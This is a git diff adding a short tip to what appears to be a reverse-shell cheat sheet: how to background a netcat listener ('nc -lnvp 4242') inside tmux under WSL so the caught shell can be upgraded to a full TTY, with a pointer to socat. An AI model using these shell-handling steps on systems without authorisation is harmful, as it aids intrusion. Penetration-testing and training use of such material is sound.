Merge pull request #11 from Eneru/main
Workaround when using WSL container to upgrade TTY shellpull/12/head
commit
33f007a47d
|
@ -555,6 +555,26 @@ export TERM=xterm-256color
|
||||||
stty rows <num> columns <cols>
|
stty rows <num> columns <cols>
|
||||||
```
|
```
|
||||||
|
|
||||||
|
:warning: With Windows Terminal + WSL container, `[CTRL] + [Z]` can get you out of / freeze the container.
|
||||||
|
To overcome this issue, run `nc` in a `tmux`, and send a `SIGTSTP` signal to the `nc` process.
|
||||||
|
|
||||||
|
```bash
|
||||||
|
# Enter in tmux
|
||||||
|
tmux
|
||||||
|
|
||||||
|
# Do your netcat stuff ...
|
||||||
|
nc -lnvp 4242
|
||||||
|
|
||||||
|
# Create a new window in tmux
|
||||||
|
ctrl+b c
|
||||||
|
|
||||||
|
# Find the PID of the nc process (column PID)
|
||||||
|
ps aux # | grep -i nc | grep -vi grep
|
||||||
|
|
||||||
|
# Send a SIGTSTP (ctrl+z) signal to the process
|
||||||
|
kill -s TSTP <PID>
|
||||||
|
```
|
||||||
|
|
||||||
or use `socat` binary to get a fully tty reverse shell
|
or use `socat` binary to get a fully tty reverse shell
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
|
|
Loading…
Reference in New Issue